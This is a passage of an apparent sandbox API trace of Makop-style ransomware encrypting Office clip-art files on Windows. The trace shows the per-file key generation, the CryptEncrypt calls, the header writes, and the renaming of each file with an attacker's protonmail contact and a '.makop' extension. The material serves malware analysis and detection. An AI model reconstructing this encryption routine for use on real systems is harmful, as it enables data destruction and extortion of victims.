liDistanceToMove=0x72f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.086] SetEndOfFile (hFile=0xf0) returned 1 [0113.092] GetProcessHeap () returned 0x48a0000 [0113.092] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.092] GetProcessHeap () returned 0x48a0000 [0113.093] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.093] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.093] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.095] CloseHandle (hObject=0xf0) returned 1 [0113.096] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2c1c00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a2c1c00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x3772, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00090_.WMF", cAlternateFileName="")) returned 1 [0113.096] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0113.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.127] GetProcessHeap () returned 0x48a0000 [0113.127] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.127] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.127] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.127] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0113.132] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.132] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.132] GetProcessHeap () returned 0x48a0000 [0113.132] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.132] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.132] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.132] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.133] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.133] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.133] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.133] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.133] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.133] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.133] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.133] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.133] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3772, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3772, lpOverlapped=0x0) returned 1 [0113.135] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3780, dwBufLen=0x3780 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3780) returned 1 [0113.135] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.135] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3780, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3780, lpOverlapped=0x0) returned 1 [0113.136] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.136] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3854, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.136] SetEndOfFile (hFile=0xf0) returned 1 [0113.142] GetProcessHeap () returned 0x48a0000 [0113.142] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.142] GetProcessHeap () returned 0x48a0000 [0113.142] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.142] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.143] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.144] CloseHandle (hObject=0xf0) returned 1 [0113.144] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb458ec00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb458ec00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x920e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00096_.WMF", cAlternateFileName="")) returned 1 [0113.145] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0113.145] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.145] GetProcessHeap () returned 0x48a0000 [0113.145] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.145] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.145] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.145] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0113.149] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.149] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.149] GetProcessHeap () returned 0x48a0000 [0113.149] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.149] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.149] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.150] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.150] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.150] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.150] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.150] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.150] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.150] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.150] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.150] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.151] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x920e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x920e, lpOverlapped=0x0) returned 1 [0113.152] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9210, dwBufLen=0x9210 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9210) returned 1 [0113.153] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.153] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9210, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x9210, lpOverlapped=0x0) returned 1 [0113.153] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.154] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x92e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.154] SetEndOfFile (hFile=0xf0) returned 1 [0113.162] GetProcessHeap () returned 0x48a0000 [0113.162] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.162] GetProcessHeap () returned 0x48a0000 [0113.162] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.162] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.162] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.163] CloseHandle (hObject=0xf0) returned 1 [0113.163] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1f69200, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb1f69200, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x3df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00296_.WMF", cAlternateFileName="")) returned 1 [0113.164] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF") returned 63 [0113.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.164] GetProcessHeap () returned 0x48a0000 [0113.164] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.164] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.164] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.165] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.165] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.165] GetProcessHeap () returned 0x48a0000 [0113.165] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.165] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.165] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.165] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.169] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.169] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.170] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.170] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.170] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.170] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.170] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.170] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.170] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3df0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3df0, lpOverlapped=0x0) returned 1 [0113.172] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3df0, dwBufLen=0x3df0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3df0) returned 1 [0113.172] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.172] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3df0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3df0, lpOverlapped=0x0) returned 1 [0113.173] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.173] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3ec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.173] SetEndOfFile (hFile=0xf0) returned 1 [0113.180] GetProcessHeap () returned 0x48a0000 [0113.180] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0113.180] GetProcessHeap () returned 0x48a0000 [0113.180] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0113.180] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0113.180] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00296_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00296_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0113.181] CloseHandle (hObject=0xf0) returned 1 [0113.181] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b40e00, ftCreationTime.dwHighDateTime=0x1bd4aee, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x54b40e00, ftLastWriteTime.dwHighDateTime=0x1bd4aee, nFileSizeHigh=0x0, nFileSizeLow=0x4712, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD00297_.WMF", cAlternateFileName="")) returned 1 [0113.181] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF") returned 63 [0113.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00297_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00297_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0113.183] GetProcessHeap () returned 0x48a0000 [0113.183] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0113.183] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0113.183] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0113.184] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0113.188] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.188] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.188] GetProcessHeap () returned 0x48a0000 [0113.188] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0113.188] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0113.189] CryptDestroyKey (hKey=0x48c7128) returned 1 [0113.189] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0113.189] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0113.189] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0113.189] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0113.189] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0113.189] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0113.190] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0113.190] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0113.190] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.190] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4712, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4712, lpOverlapped=0x0) returned 1 [0113.191] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4720, dwBufLen=0x4720 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4720) returned 1 